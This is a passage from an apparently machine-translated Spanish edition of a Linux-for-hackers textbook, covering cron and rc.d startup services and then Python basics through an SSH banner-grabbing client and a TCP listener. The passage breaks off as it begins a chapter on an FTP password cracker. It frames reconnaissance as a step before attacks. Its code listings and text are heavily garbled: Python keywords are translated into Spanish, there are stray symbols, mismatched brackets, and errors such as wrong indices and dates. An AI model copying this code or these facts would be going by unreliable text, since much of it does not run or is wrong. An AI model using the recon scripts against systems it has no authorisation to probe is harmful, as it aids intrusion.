configurados para ejecutarse según el nivel de ejecución seleccionado: 0 Detener el

sistema 1 Modo de usuario único/mínimo

2–5 modos multiusuario

6 Reiniciar el sistema

Adición de servicios a rc.d


Puede agregar servicios para que el script rc.d se ejecute al inicio mediante el
comando de actualización rc.d. Este comando le permite agregar o eliminar servicios
del script rc.d. La sintaxis de update-rc.d es sencilla; simplemente enumera el
comando seguido del nombre del script y luego la acción a realizar, así:

kali >update-rc.d <nombre del script o servicio>


<remove|defaults|disable|enable>

Como ejemplo de cómo puede usar update-rc.d, supongamos que siempre desea
que la base de datos de PostgreSQL se inicie al arrancar el sistema para que su
marco Metasploit pueda usarla para almacenar resultados de pentesting y piratería.
Machine Translated by Google

Usaría update-rc.d para agregar una línea a su script rc.d para tenerlo activo
y ejecutándose cada vez que inicia su sistema.
Antes de hacer eso, verifiquemos si PostgreSQL se está ejecutando en
su sistema ya. Puede hacerlo usando el comando y canalizándolo.
PD

a un filtro que busca PostgreSQL usando grep, así:

kali> ps aux | grep postgresql


raíz 3876 0.0 0.0 12720 964 puntos/1 S+ 14.24 0.00 greppostgresql

Esta salida nos dice que el único proceso ps encontrado ejecutándose para
PostgreSQL fue el mismo comando que ejecutamos buscándolo, por lo que no hay
Base de datos PostgreSQL que se ejecuta actualmente en este sistema.
Ahora, actualicemos nuestro rc.d para que PostgreSQL se ejecute automáticamente en
arrancar:

kali > actualizar-rc.d valores predeterminados de postgresql

Esto agrega la línea al archivo rc.d. Necesita reiniciar el sistema para


el cambio que se produzca. Una vez que haya hecho eso, usemos nuevamente el comando PD
con grep para buscar un proceso de PostgreSQL:

kali> ps aux | grep postgresql


postgresql 757 0.0 0.1 287636 25180 ? 0.00 /usr/ 14 de marzo
lib/postgresql/9.6/bin/postgresql -D
/var/lib/postgresql/9.6/principal
-c archivo_config=/etc/postgresql/9.6/main/postgresql.conf
raíz 3876 0.0 127200.0 964pts/1 S+ 14.24 0.00 greppostgresql

Como puede ver, PostgreSQL se está ejecutando sin que usted ingrese
cualquier comando manualmente. Se inicia automáticamente cuando su sistema arranca
listo, listo y esperando para ser utilizado con su Metasploit!

Adición de servicios a su arranque a través de una GUI


Si se siente más cómodo trabajando desde una GUI para agregar servicios en
inicio, puede descargar la herramienta rudimentaria basada en GUI rcconf desde
el repositorio de Kali, así:

kali >apt-get install rcconf


Machine Translated by Google

Una vez que haya completado su instalación, puede iniciar rcconf por
ingresando lo siguiente:

tiempos >rcconf

Esto abrirá una GUI simple como la de la Figura 16-1. Luego puede desplazarse
por los servicios disponibles, seleccionar los que desea iniciar al iniciar y hacer clic
en Aceptar.

Figura 16-1: La GUI de rcconf para agregar servicios al inicio

En esta figura, puede ver el servicio de PostgreSQL en la penúltima lista.


Presione la barra espaciadora para seleccionar este servicio, presione TAB para
resaltar <Ok> y luego presione ENTER. La próxima vez que inicie Kali, PostgreSQL
se iniciará automáticamente.

Resumen Tanto

los administradores de sistemas como los piratas informáticos a menudo necesitan programar
servicios, scripts y utilidades para que se ejecuten a intervalos regulares. Linux le permite
programar casi cualquier secuencia de comandos o utilidad para que se ejecute de forma regular utilizando el
Machine Translated by Google

cron daemon, que ejecuta estos trabajos desde la tabla cron . Además, puede hacer que
los servicios se inicien automáticamente en el arranque mediante el comando update-rc.d
o la herramienta basada en GUI rcconf para actualizar los scripts rc.d.

EJERCICIOS

Antes de pasar al Capítulo 17, pruebe las habilidades que aprendió en este capítulo completando los siguientes ejercicios:

1. Programe su secuencia de comandos MySQLscanner.sh para que se ejecute todos los miércoles a las 3 p. m.

2. Programe su secuencia de comandos MySQLscanner.sh para que se ejecute cada décimo día del mes en abril, junio y agosto.

3. Programe su secuencia de comandos MySQLscanner.sh para que se ejecute de martes a jueves a las
10 a. m.

4. Programe su secuencia de comandos MySQLscanner.sh para que se ejecute diariamente al mediodía utilizando los accesos directos.

5. Actualice su script rc.d para ejecutar PostgreSQL cada vez que arranque su sistema.

6. Descargue e instale rcconf y agregue las bases de datos PostgreSQL y MySQL a


comenzar en el arranque.
Machine Translated by Google

17
CONCEPTOS BÁSICOS DE SCRIPTING DE PYTHON PARA HACKERS

Las habilidades básicas de secuencias de comandos son fundamentales para convertirse en


un hacker experto. Sin haber desarrollado algunas habilidades básicas de secuencias de
comandos, un hacker principiante que simplemente usa herramientas creadas por otra persona
estará condenado al reino de los script kiddies. Esto significa que estará limitado a usar
herramientas desarrolladas por otra persona, lo que disminuye su probabilidad de éxito y
aumenta su probabilidad de detección por parte del software antivirus (AV), los sistemas de
detección de intrusos (IDS) y las fuerzas del orden. ¡Con algunas habilidades de secuencias de
comandos, puede elevarse al escalón superior de los piratas informáticos maestros!

En el Capítulo 8, cubrimos los conceptos básicos de las secuencias de comandos de bash


y construimos algunas secuencias de comandos simples, incluido MySQLScanner.sh, que
encuentra sistemas que ejecutan el omnipresente sistema de base de datos MySQL. En este
capítulo, comenzamos a analizar el lenguaje de secuencias de comandos más utilizado por los
piratas informáticos: Python. Muchas de las herramientas de hackers más populares están
escritas en Python, incluidas sqlmap, scapy, Social-Engineer Toolkit (SET), w3af y muchas más.
Python tiene algunas características importantes que lo hacen particularmente adecuado
para la piratería, pero probablemente lo más importante es que tiene una gran variedad de
bibliotecas (módulos de código preconstruidos que se pueden importar externamente y reutilizar)
que brindan una funcionalidad poderosa. Python se envía con más de 1000 módulos integrados
y muchos más están disponibles en varios otros repositorios.
Machine Translated by Google

La creación de herramientas de piratería también es posible en otros lenguajes,


como bash, Perl y Ruby, pero los módulos de Python facilitan mucho la creación de
estas herramientas.

Adición de módulos de Python


Cuando instala Python, también instala su conjunto de bibliotecas y módulos estándar
que brindan una amplia gama de capacidades, incluidos tipos de datos integrados,
manejo de excepciones, módulos numéricos y matemáticos, manejo de archivos,
servicios criptográficos, manejo de datos de Internet e interacción con Protocolos de
Internet (IP).
A pesar de toda la potencia que ofrecen estas bibliotecas y módulos estándar, es
posible que necesite o desee módulos adicionales de terceros. Los módulos de terceros
disponibles para Python son extensos y probablemente sean la razón por la que la
mayoría de los piratas informáticos prefieren Python para las secuencias de comandos.
Puede encontrar una lista completa de módulos de terceros en PyPI (el índice de
paquetes de Python, que se muestra en la Figura 17-1) en http://www.pypi.org/.
Machine Translated by Google

Figura 17-1: El índice de paquetes de Python

usando pip
Python tiene un administrador de paquetes específicamente para instalar y
administrar paquetes de Python conocido como pip (Pip Installs Packages). Dado
que aquí estamos trabajando con Python 3, necesitará pip para que Python 3
descargue e instale paquetes. Puede descargar e instalar pip desde el repositorio
de Kali ingresando lo siguiente:

kali >apt-get install python3-pip

Ahora, para descargar módulos de PyPI, simplemente puede ingresar esto:

kali > pip3 install <nombre del paquete>

Cuando descarga estos paquetes, se colocan automáticamente en el directorio /


usr/local//lib/<python-version>/dist-packages. Entonces, por ejemplo, si usó pip
para instalar la implementación de Python del protocolo SNMP para Python 3.6, lo
encontrará en /usr/local/lib/python3.6/pysnmp. Si no está seguro de dónde se
colocó un paquete en su sistema (a veces, diferentes distribuciones de Linux usan
directorios diferentes), puede ingresar pip3 seguido de show y el nombre del
paquete, como se muestra aquí:

kali >pip3 show pysnmp


Nombre: pysnmp Versión:
4.4.4 Resumen: Biblioteca
SNMP para Python Página de inicio:
https://github.com/etingof/pysnmp Autor: Ilya Etingof
<etingof@gmail.com> Correo electrónico del autor:
etingof @gmail.com Licencia: BSD Ubicación: usr/
local/lib/python3.6/dist-packages Requiere: ptsmi,
pyansl, pycryptodomex

Puede ver que esto le brinda mucha información sobre el paquete, incluido el
directorio que lo contiene.
Como alternativa al uso de pip, puede descargar un paquete directamente
desde el sitio (asegúrese de que se descargue en el directorio adecuado),
Machine Translated by Google

descomprímalo (consulte el Capítulo 9 sobre cómo descomprimir el software) y luego ejecute


lo siguiente:

veces> python setup.py install

Esto instalará cualquier paquete desempaquetado que aún no se haya instalado.

Instalación de módulos de terceros Para instalar un

módulo de terceros creado por otro miembro de la comunidad de Python (a diferencia de un


paquete de Python lanzado oficialmente), simplemente puede usar wget para descargarlo
desde donde esté almacenado en línea, descomprima el módulo y luego ejecute el comando
de instalación python setup.py .

Como ejemplo, descarguemos e instalemos el módulo de Python para la herramienta de


escaneo de puertos que usamos en el Capítulo 8, nmap, desde su repositorio en línea en
https://xael.org.

Primero, necesitamos descargar el módulo de xael.org:

kali >wget http://xael.org/norman/python/python-nmap/python-nmap-0.3.4.tar.gz


--2014-12-28 17:48:32-- http://xael. org/norman/python/python-nmap/python-nmap
0.3.4.tar.gz Resolviendo xael.org (xael.org)...194.36.166.10 Conectando a xael.org
(xael.org)|194.36.166.10| :80...conectado.

--recorte--

2018-21-28 17.48:34 (113 KB/s) - 'python-nmap-0.3.4.tar.gz' guardado


[40307/40307]

Aquí puede ver que usamos el comando wget y la URL completa para el paquete. Una
vez que se haya descargado el paquete, debe descomprimirlo con tar, como aprendió en el
Capítulo 9:

kali> tar -xzf python-nmap-0.3.4.tar.gz

Luego cambie los directorios al directorio recién creado:

kali> cd python-nmap-.03.4 /
Machine Translated by Google

Finalmente, en ese directorio, instale el nuevo módulo ingresando lo siguiente:

kali >~/python-nmap-0.3.4 >python setup.py instalar


ejecutando instalar ejecutando compilación ejecutando
build_py creando compilación

--recorte--

ejecutando install_egg_info
escribiendo /usr/local/lib/python2.7/dist-packages/python_nmap-0.3.4.egg.info

También se pueden obtener otros innumerables módulos de esta manera. Una vez
que haya instalado este módulo nmap, puede usarlo en sus scripts de Python
importando el módulo. Más sobre esto más adelante. Ahora comencemos con algunas
secuencias de comandos.

Introducción a la creación de scripts con Python


Ahora que sabe cómo instalar módulos en Python, quiero cubrir algunos de los
conceptos básicos y la terminología de Python, luego la sintaxis básica. Después de
eso, escribirá algunos scripts que serán útiles para los piratas informáticos de todo el
mundo y que espero demuestren el poder de Python.
Al igual que con bash o cualquier otro lenguaje de secuencias de comandos,
podemos crear secuencias de comandos de Python utilizando cualquier editor de texto.
Para simplificar las cosas en este capítulo, le aconsejo que use un editor de texto
simple como Leafpad, pero es útil saber que varios entornos de desarrollo integrados,
o IDE, están disponibles para usar con Python. Un IDE es como un editor de texto con
otras capacidades integradas, como la codificación por colores, la depuración y las
capacidades de compilación. Kali tiene el IDE PyCrust incorporado, pero hay muchos
más IDE disponibles para descargar, de los cuales el mejor es posiblemente PyCharm
de JetBrain. Este es un excelente IDE con muchas mejoras que hacen que el
aprendizaje de Python sea más fácil y rápido. Hay una versión profesional para comprar
y una edición comunitaria que es gratuita. Puede encontrarlos en https://
www.jetbrains.com/pycharm/.
Una vez que hayas completado este capítulo, si quieres seguir aprendiendo Python,
PyCharm es una excelente herramienta que te ayudará en tu
Machine Translated by Google

desarrollo. Por ahora, usaremos un editor de texto básico como Leafpad para simplificar las
cosas.
Tenga en cuenta que aprender cualquier lenguaje de programación requiere tiempo y
mucho trabajo. Sea paciente consigo mismo: intente dominar cada uno de los pequeños
guiones que proporciono antes de continuar.

FORMATO EN PYTHON

Una diferencia entre Python y algunos otros lenguajes de secuencias de comandos es que el
formateo es de vital importancia en Python. El intérprete de Python usa el formato para
determinar cómo se agrupa el código. Los detalles del formato son menos importantes que
simplemente ser consistente, particularmente con sus niveles de sangría.
Si tiene un grupo de líneas de código que comienza con doble sangría, por ejemplo, debe
ser coherente con la doble sangría en todo el bloque para que Python reconozca que estas
líneas de código van juntas. Esto es diferente de las secuencias de comandos en otros
lenguajes de programación, donde el formateo es opcional y una buena práctica, pero no
obligatorio. Notarás esto a medida que avanzas y practicas; es algo a tener siempre en cuenta!

Variables
Ahora, pasemos a algunos conceptos más prácticos en Python. Una variable es uno de los
tipos de datos más básicos en la programación, y la encontró anteriormente en el Capítulo 8
con bash scripting. En términos simples, una variable es un nombre asociado con un valor
particular, de modo que siempre que use ese nombre en su programa, invocará el valor
asociado.
La forma en que funciona es que el nombre de la variable apunta a los datos almacenados
en una ubicación de memoria, que puede contener cualquier tipo de valor, como un número
entero, un número real, una cadena, un número de coma flotante, un valor booleano
(declaración verdadera o falsa), una lista , o diccionario. Cubriremos brevemente todo esto
en este capítulo.
Para familiarizarse con los conceptos básicos, creemos un script simple, que se muestra
en el Listado 17-1, en Leafpad y guárdelo como hackers-arise_greetings.py.

#! /usr/bin/python3

name="OcuparLaWeb"
Machine Translated by Google

"
print ("¡Saludos a + nombre + " de Hackers-Arise. El mejor lugar para aprender
Hackear!")

Listado 17-1: Tu primer programa en Python

La primera línea simplemente le dice a su sistema que desea que use el intérprete
de Python para ejecutar este programa, en lugar de cualquier otro idioma.
La segunda línea define una variable llamada nombre y le asigna un valor (en este
caso, "OccupyTheWeb"). Debe cambiar este valor a su propio nombre.
El valor de esta variable está en el formato de datos de caracteres de cadena, lo que
significa que el contenido está entre comillas y se trata como texto. También puede
poner números en cadenas, y se tratarán como texto, ya que no podrá usarlos en
cálculos numéricos.
La tercera línea crea una instrucción print() que concatena Greetings to con el valor de la variable
de nombre , seguido del texto de Hackers-Arise.
¡El mejor lugar para aprender a hackear! Una instrucción print() mostrará todo lo
que le pases entre paréntesis en tu pantalla.
Ahora, antes de que pueda ejecutar este script, debe darse permiso para ejecutarlo.
Necesitamos el comando chmod para hacer eso. (Para obtener más información sobre
los permisos de Linux, consulte el Capítulo 5).

kali >chmod 755 hackers-arise_greetings.py

Tal como lo hizo en el Capítulo 8 con bash scripting, para ejecutar su script,
anteponga el nombre del script con un punto y una barra inclinada. Su directorio actual
no está en la variable $PATH por razones de seguridad, por lo que debemos anteponer
el nombre del script con ./ para indicarle al sistema que busque en el directorio actual
el nombre del archivo y lo ejecute.
Para ejecutar este script en particular, ingrese lo siguiente:

kali >./hackers-arise_greetings.py
Saludos a OccupyTheWeb de parte de Hackers-Arise. ¡El mejor lugar para aprender a hackear!

En Python, cada tipo de variable se trata como una clase. Una clase es una especie
de plantilla para crear objetos. Consulte “Programación orientada a objetos (OOP)” en
la página 192 para obtener más información. En el siguiente script, he intentado
demostrar algunos de los tipos de variables. Variables
Machine Translated by Google

puede contener más que solo cuerdas. El listado 17-2 muestra algunas variables que contienen diferentes
tipos de datos.

#! /usr/bin/python3

HackersAriseStringVariable = "Hackers-Arise es el mejor lugar para aprender


Hackear"

HackersAriseIntegerVariable = 12

HackersAriseFloatingPointVariable = 3.1415

HackersAriseList = [1,2,3,4,5,6]

HackersAriseDictionary = {'nombre': 'OccupyTheWeb', 'valor': 27)

imprimir (HackersAriseStringVariable)

imprimir (HackersAriseIntegerVariable)

imprimir (HackersAriseFloatingPointVariable)

Listado 17-2: Una serie de estructuras de datos asociadas con variables

Esto crea cinco variables que contienen diferentes tipos de datos: una cadena, tratada como texto;
un número entero, que es un tipo de número sin decimales que se puede utilizar en operaciones
numéricas; un float, que es un tipo de número con decimales que también se puede utilizar en operaciones
numéricas; una lista, que es una serie de valores almacenados juntos; y un diccionario, que es un conjunto
desordenado de datos donde cada valor se empareja con una clave, lo que significa que cada valor en el
diccionario tiene una clave de identificación única. Esto es útil cuando desea hacer referencia a un valor
o cambiarlo haciendo referencia a un nombre de clave. Por ejemplo, supongamos que tiene un diccionario
llamado fruit_color configurado de la siguiente manera:

fruit_color = {'manzana': 'rojo', 'uva': 'verde', naranja: 'naranja'}

Si más adelante en su secuencia de comandos desea obtener el fruit_color de la uva, debe


simplemente llámalo por su clave:

imprimir (fruta_color['uva'])

También puede cambiar los valores de claves particulares; por ejemplo, aquí
cambiamos el color de la manzana:
Machine Translated by Google

fruit_color['manzana'] : 'verde'

Hablaremos de listas y diccionarios con más detalle más adelante en este


capítulo.
Cree este script en cualquier editor de texto, guárdelo como
secondpythonscript.py y luego concédase permiso para ejecutarlo, así:

kali >chmod 755 segundopythonscript.py

Cuando ejecutamos este script, imprime los valores de la variable de cadena,


la variable entera y la variable numérica de coma flotante, así:

kali >./secondpythonscript.py
Hackers-Arise es el mejor lugar para aprender a
hackear 12 3.1415

NOTA

En Python, no es necesario declarar una variable antes de asignarle un


valor, como en otros lenguajes de programación.

Comentarios
Como cualquier otro lenguaje de programación y secuencias de comandos,
Python tiene la capacidad de agregar comentarios. Los comentarios son
simplemente partes de su código (palabras, oraciones e incluso párrafos) que
explican qué debe hacer el código. Python reconocerá los comentarios en su
código y los ignorará. Aunque los comentarios no son obligatorios, son
increíblemente útiles cuando regresa a su código dos años después y no puede
recordar qué debe hacer. Los programadores a menudo usan comentarios para
explicar qué hace un determinado bloque de código o para explicar la lógica
detrás de elegir un método particular de codificación.
Los comentarios son ignorados por el intérprete. Esto significa que el
intérprete omite cualquier línea designada como comentario, y simplemente
continúa hasta que encuentra una línea de código legítima. Python usa el
símbolo # para designar el inicio de un comentario de una sola línea. Si quieres
Machine Translated by Google

escribir comentarios de varias líneas, puede usar tres comillas dobles (""") al principio
y al final de la sección de comentarios.
Como puede ver en la siguiente secuencia de comandos, he agregado un breve comentario de
varias líneas a nuestra sencilla secuencia de comandos hackers-arise_greetings.py.

#!
"""/usr/bin/python3
Este es mi primer script de Python con comentarios. Los comentarios se utilizan para
ayudar a explicar el código a nosotros mismos y a otros programadores. En este caso,
este sencillo script crea un saludo para el usuario.

"""
name = "OccupyTheWeb"
print ("Saludos a "+name+" de Hackers-Arise. ¡El mejor lugar para aprender a
hackear!")

Cuando volvemos a ejecutar el script, nada cambia en comparación con el


la última vez que se ejecutó, como se puede ver aquí:

kali >./hackers-arise_greetings.py
Saludos a OccupyTheWeb de parte de Hackers-Arise. ¡El mejor lugar para aprender a hackear!

Funciona exactamente igual que en el Listado 17-1, pero ahora tenemos


alguna información sobre nuestro script cuando volvamos al código más adelante.

Funciones
Las funciones en Python son bits de código que realizan una acción particular.
La instrucción print() que usó anteriormente, por ejemplo, es una función que muestra
cualquier valor que le pase. Python tiene una serie de funciones integradas que puede
importar y usar de inmediato. La mayoría de ellos están disponibles en su instalación
predeterminada de Python en Kali Linux, aunque muchos más están disponibles en
las bibliotecas descargables. Echemos un vistazo a algunas de las miles de funciones
disponibles para usted:

exit() sale de un programa. float()

devuelve su argumento como un número de coma flotante. Por ejemplo, float(1) devolvería
1.0. help() muestra ayuda sobre el objeto especificado por su argumento.
Machine Translated by Google

int() devuelve la parte entera de su argumento (se trunca). len()


devuelve el número de elementos en una lista o diccionario. max()
devuelve el valor máximo de su argumento (una lista). open() abre
el archivo en el modo especificado por sus argumentos. range()
devuelve una lista de enteros entre dos valores especificados por sus
argumentos. sorted() toma una lista como argumento y la devuelve con sus
elementos en orden.

type() devuelve el tipo de su argumento (por ejemplo, int, file, method, function).

También puede crear sus propias funciones para realizar tareas personalizadas.
Dado que ya hay tantas integradas en el lenguaje, siempre vale la pena verificar si
una función ya existe antes de hacer el esfuerzo de construirla usted mismo. Hay
muchas formas de hacer esta comprobación.
Una es consultar la documentación oficial de Python disponible en https://
docs.python.org. Elija la versión con la que está trabajando y luego seleccione
Referencia de biblioteca.

Liza
Muchos lenguajes de programación usan matrices como una forma de almacenar
múltiples objetos separados. Una matriz es una lista de valores que se pueden
recuperar, eliminar, reemplazar o trabajar con ellos de varias maneras al hacer
referencia a un valor particular en la matriz por su posición en la lista, conocida como su índice.
Es importante tener en cuenta que Python, como muchos otros entornos de
programación, comienza a contar los índices en 0, por lo que el primer elemento de
una lista es el índice 0, el segundo es el índice 1, el tercero es el índice 3, y así
sucesivamente. Entonces, por ejemplo, si quisiéramos acceder al tercer valor de la
matriz, podríamos hacerlo con matriz[2]. En Python, hay algunas implementaciones
de arreglos, pero probablemente la implementación más común se conoce como listas.
Las listas en Python son iterables, lo que significa que la lista puede proporcionar
elementos sucesivos cuando la recorre por completo (consulte “Bucles” en la página
198). Esto es útil porque muy a menudo cuando usamos listas,
Machine Translated by Google

están mirando a través de ellos para encontrar un cierto valor, para imprimir valores
uno por uno, o para tomar valores de una lista y ponerlos en otra lista.
Entonces, imaginemos que necesitamos mostrar el cuarto elemento en nuestra
lista HackersAriseList del Listado 17-2. Podemos acceder a ese elemento e
imprimirlo llamando al nombre de la lista, HackersAriseList, seguido del índice del
elemento al que queremos acceder encerrado entre corchetes.
Para probar esto, agregue la siguiente línea al final de su secuencia de comandos
secondpythonscript.py para imprimir el elemento en el índice 3 en
HackersAriseList:

--recorte--

imprimir (HackersAriseStringVariable)

imprimir (HackersAriseIntegerVariable)

imprimir (HackersAriseFloatingPointVariable)

imprimir (HackersAriseList[3])

Cuando ejecutamos este script nuevamente, podemos ver que la nueva impresión
la declaración imprime 4 junto con la otra salida:

kali >./secondpythonscript.py
Hackers-Arise es el mejor lugar para aprender a hackear
12 3.1415 4

Módulos
Un módulo es simplemente una sección de código guardada en un archivo separado
para que pueda usarlo tantas veces como necesite en su programa sin tener que
escribirlo todo nuevamente. Si desea utilizar un módulo o cualquier código de un
módulo, debe importarlo. Como se discutió anteriormente, el uso de módulos estándar
y de terceros es una de las características clave que hace que Python sea tan
poderoso para el hacker. Si quisiéramos usar el módulo nmap que instalamos
anteriormente, agregaríamos la siguiente línea a nuestro script:

importar nmap
Machine Translated by Google

Más adelante en este capítulo, usaremos dos módulos muy útiles: socket y ftplib.

Programación Orientada a Objetos (POO)


Antes de profundizar en Python, probablemente valga la pena tomarse unos minutos
para discutir el concepto de programación orientada a objetos (POO).
Python, como la mayoría de los lenguajes de programación actuales (C++, Java y Ruby,
por nombrar algunos) se adhiere al modelo OOP.
La figura 17-2 muestra el concepto básico detrás de OOP: la principal herramienta
del lenguaje es el objeto, que tiene propiedades en forma de atributos y estados, así
como métodos que son acciones realizadas por o sobre el objeto.

Figura 17-2: Ilustración de la programación orientada a objetos

La idea detrás de los lenguajes de programación basados en programación orientada


a objetos es crear objetos que actúen como cosas en el mundo real. Por ejemplo, un
automóvil es un objeto que tiene propiedades, como sus ruedas, color, tamaño y tipo de
motor; también tiene métodos, que son las acciones que realiza el automóvil, como
acelerar y bloquear las puertas. Desde la perspectiva del lenguaje humano natural, un
objeto es un sustantivo, una propiedad es un adjetivo y un método es generalmente un
verbo.
Los objetos son miembros de una clase, que es básicamente una plantilla para crear
objetos con variables iniciales, propiedades y métodos compartidos.
Por ejemplo, supongamos que tuviéramos una clase llamada coches; nuestro automóvil
(un BMW) sería un miembro de la clase de automóviles. Esta clase también incluiría
otros objetos/automóviles, como Mercedes y Audi, como se muestra en la Figura 17-3.
Machine Translated by Google

Figura 17-3: Clases y objetos OOP

Las clases también pueden tener subclases. Nuestra clase de autos tiene una subclase BMW, y un
objeto de esa subclase podría ser el modelo 320i.

Cada objeto tendría propiedades (marca, modelo, año y color)


y métodos (arranque, conducción y estacionamiento), como se muestra en la Figura 17-4.

Figura 17-4: Propiedades y métodos de programación orientada a objetos

En los lenguajes orientados a objetos, los objetos heredan las características de su clase, por lo que
el BMW 320i heredaría los métodos de arranque, conducción y estacionamiento de los autos de clase.

Estos conceptos de programación orientada a objetos son cruciales para comprender cómo funcionan
Python y otros lenguajes de programación orientada a objetos, como verá en los scripts de las siguientes
secciones.

Comunicaciones de red en Python


Machine Translated by Google

Antes de pasar a más conceptos de Python, usemos lo que ha aprendido hasta ahora
para escribir un par de scripts de piratería relacionados con las conexiones de red.

Construyendo un cliente TCP

Crearemos una conexión de red en Python usando el módulo de socket .


Ya mencioné que Python viene con una biblioteca de módulos para una multitud de
tareas. En este caso, necesitaremos el módulo de socket para crear una conexión TCP.
Veámoslo en acción.

Eche un vistazo al script del Listado 17-3 llamado HackersAriseSSHBannerGrab.py


(lo sé, es un nombre largo, pero tengan paciencia conmigo aquí). Un banner es lo que
presenta una aplicación cuando alguien o algo se conecta a ella. Es como una
aplicación que envía un saludo anunciando de qué se trata. Los piratas informáticos
utilizan una técnica conocida como captura de banners para obtener información crucial
sobre qué aplicación o servicio se está ejecutando en un puerto.

#! /usr/bin/python3

ÿ enchufe de importación

ÿ s = enchufe.enchufe()

ÿ en conexión(("192.168.1.101", 22))

ÿ respuesta = s.recv(1024)

ÿ imprimir (respuesta)

cerrar

Listado 17-3: un script de Python para capturar banners

Primero, importamos el módulo de socket ÿ para que podamos usar sus funciones
y herramientas. Aquí, vamos a utilizar las herramientas de red del módulo de socket
para encargarnos de interconectar una conexión a través de la red por nosotros.
Un socket proporciona una forma para que dos nodos de computadora se comuniquen
entre sí. Por lo general, uno es un servidor y el otro es un cliente.
Machine Translated by Google

Luego creamos una nueva variable, s, y la asociamos con la clase de socket del
módulo de socket ÿ. De esta forma, no tenemos que hacer referencia a la sintaxis completa
de socket.socket() siempre que queramos usar la clase de socket ; simplemente podemos
usar el nombre de la variable s .
Luego usamos el método connect() del módulo socket ÿ para hacer una conexión de
red a una IP y un puerto en particular. Recuerde que los métodos son funciones que están
disponibles para un objeto en particular. La sintaxis es object.method (por ejemplo,
socket.connect). En este caso, me estoy conectando a la dirección IP 192.168.1.101, que
es la dirección IP de una máquina en mi red, y al puerto 22, que es el puerto SSH
predeterminado.
Puede probar esto en otra instancia de Linux o Kali. La mayoría tiene el puerto 22 abierto
de forma predeterminada.
Una vez que establezca la conexión, hay una serie de cosas que puede hacer. Aquí,
usamos el método de recepción recv para leer 1024 bytes de datos del socket ÿ y
almacenarlos en una variable llamada respuesta; estos 1024 bytes contendrán la
información del banner. Luego imprimimos el contenido de esa variable en la pantalla con
la función print() ÿ para ver qué datos se han pasado a través de ese socket, ¡lo que nos
permite espiarlo! En la línea final, cerramos la conexión.

Guarde este script como HackersAriseSSHBannerGrab.py y luego cambie su


permisos usando el comando chmod para que pueda ejecutarlo.
Ejecutemos este script para conectarnos a otro sistema Linux (puede usar un sistema
Ubuntu o incluso otro sistema Kali) en el puerto 22. Si SSH se está ejecutando en ese
puerto, deberíamos poder leer el banner en nuestra variable de respuesta e imprimirlo a la
pantalla, como se muestra aquí:

kali >./HackersAriseSSHBannerGrab.py
SSH-2.0-OpenSSH_7.3p1 Debian-1

¡Acabamos de crear un simple script de Python para capturar banners! Podemos usar
este script para averiguar qué aplicación, versión y sistema operativo se están ejecutando
en esa dirección IP y puerto. Esto nos brinda información clave que un hacker necesita
antes de atacar un sistema. Esto es esencialmente lo que hace el sitio web Shodan.io para
casi todas las direcciones IP del planeta, y cataloga e indexa esta información para que la
busquemos.
Machine Translated by Google

Creación de un escucha TCP

Acabamos de crear un cliente TCP que puede establecer una conexión


con otra dirección y puerto TCP/IP y luego espiar la información que se
transmite. Ese socket también se puede usar para crear un oyente TCP,
para escuchar conexiones de personas externas a su servidor. Intentemos hacer eso
próximo.

En el script de Python que se muestra en el Listado 17-4, creará un socket


en cualquier puerto de su sistema que, cuando alguien se conecta a ese
socket, recopila información clave sobre el sistema del conector. Ingrese el
script y guárdelo como tcp_server.py. Asegúrate de darte permisos de ejecución
con chmod.

#! /usr/bin/python3

enchufe de importación

ÿ TCP_IP = "192.168.181.190"
TCP_PORT = 6996
BUFFER_SIZE = 100

ÿ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ÿ
s.bind((TCP_IP, TCP_PORT)) ÿ s.escuchar (1)

ÿ conn, addr = s.accept() print


('Dirección de conexión: ', addr )

mientras que 1:

data=conn.recv(BUFFER_SIZE) si
no data:break print ("Datos
recibidos: ", data) conn.send(data)
#echo

conn.cerrar

Listado 17-4: un script de Python que escucha TCP

Declaramos que queremos que el script se ejecute con el intérprete de


Python y luego importamos el módulo de socket como antes, para que podamos
usar sus capacidades. Luego definimos variables para contener información
para la dirección TCP/IP, el puerto para escuchar y el tamaño del búfer de los
datos que queremos capturar del sistema de conexión ÿ.
Machine Translated by Google

Definimos el socket ÿ y vinculamos el socket a la dirección IP y

port ÿ usando las variables que acabamos de crear. Le decimos al socket que escuche
usando el método listen() de la biblioteca de sockets ÿ.
Luego capturamos la dirección IP y el puerto del sistema de conexión mediante el
método de aceptación de la biblioteca de sockets e imprimimos esa información en
la pantalla para que el usuario pueda verla ÿ. Observe la sintaxis while 1: aquí;
hablaremos de esto más adelante en el capítulo, pero por ahora solo sepa que se usa
para ejecutar el código sangrado que viene después indefinidamente, lo que significa
que Python sigue buscando datos hasta que se detiene el programa.
Finalmente, colocamos la información del sistema de conexión en un
búfer, imprímalo y luego cierre la conexión.
Ahora, vaya a otra computadora en su red y use un navegador para conectarse al
puerto 6996 designado en nuestro script. Ejecute el script tcp_server.py, y debería
poder conectarse y recopilar información clave sobre ese sistema, incluida la dirección
IP y el puerto del sistema de conexión, como se muestra aquí:

kali >./tcp_server.py
Dirección de conexión: ('192.168.181.190', 45368)
Datos recibidos: Obtener /HTTP/
1.1 Host:192.168.181.190:6996
Usuario -Agente:Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gec

--recorte---

Esta es información crítica que un pirata informático debe recopilar antes de


decidirse por un exploit. Los exploits (o hacks) son muy específicos para el sistema
operativo, la aplicación e incluso el idioma que se utiliza, por lo que el pirata informático
debe conocer la mayor cantidad de información posible sobre el objetivo antes de continuar.
Este acto de recopilar información antes de un hackeo a menudo se denomina
reconocimiento. Acabas de desarrollar una herramienta que recopilará información de
reconocimiento clave sobre un objetivo potencial, ¡muy similar a la popular herramienta
de hackers p0F!

Diccionarios, bucles y sentencias de control


Machine Translated by Google

Sigamos ampliando su comprensión de Python y luego usemos todo lo que ha


aprendido hasta ahora para crear un descifrador de contraseñas para un FTP.
servidor.

Diccionarios
Los diccionarios contienen información en pares no ordenados, donde cada par
contiene una clave y un valor asociado. Podemos usar un diccionario para almacenar
una lista de elementos y dar a cada elemento una etiqueta para que podamos usar y
referirnos a ese elemento individualmente. Podríamos usar un diccionario para
almacenar, por ejemplo, ID de usuario y sus nombres asociados, o para almacenar
vulnerabilidades conocidas asociadas con un host específico. Los diccionarios en
Python actúan como matrices asociativas en otros idiomas.
Al igual que las listas, los diccionarios son iterables, lo que significa que usamos
una estructura de control como una instrucción for para recorrer todo el diccionario,
asignando cada elemento del diccionario a una variable hasta que llegamos al final
del diccionario.
Entre otras cosas, puede usar esta estructura para crear un descifrador de
